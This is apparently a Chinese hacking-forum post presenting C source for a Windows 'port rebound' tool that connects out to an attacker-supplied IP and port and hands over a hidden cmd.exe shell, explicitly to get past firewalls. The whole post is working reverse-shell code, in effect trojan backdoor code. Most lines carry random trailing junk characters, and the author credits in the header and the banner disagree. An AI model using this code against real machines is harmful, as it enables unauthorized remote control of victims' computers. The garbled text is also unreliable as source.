Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 PZD>U)M  
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/* ============================== {hO`6mr&t  
Rebound port in Windows NT t=#Pya  
By wind,2006/7 @lUlY2  
===============================*/ 3v!~cC~cI  
#include (,xZGa  
#include AP\ofLmq  
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#pragma comment(lib,"wsock32.lib") Us~ X9n_F  
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void OutputShell(); lKEa)KF[  
SOCKET sClient; Y#01o&f0n  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; k,Zm GllQ]  
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void main(int argc,char **argv) })IO#,  
{ W:QwHZ2O  
WSADATA stWsaData; C+MSVc  
int nRet; p&K\]l}  
SOCKADDR_IN stSaiClient,stSaiServer; /MOnNnV  
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if(argc != 3) $rG<uO  
{ B">yKB:D}t  
printf("Useage:\n\rRebound DestIP DestPort\n"); 3An(jt$%Q  
return; 1;W=
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} Z#Lx_*p]Q  
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WSAStartup(MAKEWORD(2,2),&stWsaData); u=qPzmywt  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); chAan~r[*  
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stSaiClient.sin_family = AF_INET; i!MwBYk  
stSaiClient.sin_port = htons(0); c/u_KJFF-n  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); /4joC9\AB  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Eo{EKI1  
{ o+g4p:Mf  
printf("Bind Socket Failed!\n"); "6I[4U"@  
return; 
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} '
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stSaiServer.sin_family = AF_INET; ?(im+2  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); iY.eJlfH  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); KC&`x|  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >v0:qN7|  
{ {&nV4
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printf("Connect Error!"); \/Ij7nD`l%  
return; ZxS&4>.  
} 3DoRE2}  
OutputShell(); \].J-^=  
} WSI Xj5R  
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void OutputShell() IM-`<~(I#  
{ =wA5P@  
char szBuff[1024]; A'"-m)1P  
SECURITY_ATTRIBUTES stSecurityAttributes; L=7rDW)aa  
OSVERSIONINFO stOsversionInfo; 9)yG.9d1  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; >x'bZ]gm  
STARTUPINFO stStartupInfo; =[(1my7  
char *szShell; wR7aQg  
PROCESS_INFORMATION stProcessInformation; w4:
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unsigned long lBytesRead; \X@IkL$r  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); :k1$g+(lP  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 4 10:%WGc  
stSecurityAttributes.lpSecurityDescriptor = 0; 5a$$95oL  
stSecurityAttributes.bInheritHandle = TRUE; #O</\|aH)i  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Y(GW0\<  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); MCAXt1sL&E  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ${e&A^h  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q$^<zY  
stStartupInfo.wShowWindow = SW_HIDE; M1uP\Sa  
stStartupInfo.hStdInput = hReadPipe; /w~C~6z @!  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;?8Iys#  
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GetVersionEx(&stOsversionInfo); n|]N7 b'  
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switch(stOsversionInfo.dwPlatformId) U,3d) ]Zy&  
{ .S|-4}G(6  
case 1: ]7F)bIG[  
szShell = "command.com"; [s %\.y(q  
break; )@c3##Zp)  
default: NS5 49S  
szShell = "cmd.exe";
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break; \G=bj;&eF  
} \DyKtrnm%  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ype"7p\  
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send(sClient,szMsg,77,0); t~~r-V":  
while(1) u<q)SQ1  
{ nCB[4  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 36i_D6  
if(lBytesRead) ]n1D1  
{ 7xR|_+%~K  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); x9\J1\  
send(sClient,szBuff,lBytesRead,0); J=L`]XE  
} GG>Y/;^  
else ./)j5M  
{ TA9dkYlE/  
lBytesRead=recv(sClient,szBuff,1024,0); YUS?]~XC7x  
if(lBytesRead<=0) break; 165WO}(;/  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 2HVCXegq  
} D`fc7m  
} Wbs^(iUU}  
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return; *lY+Yy(  
}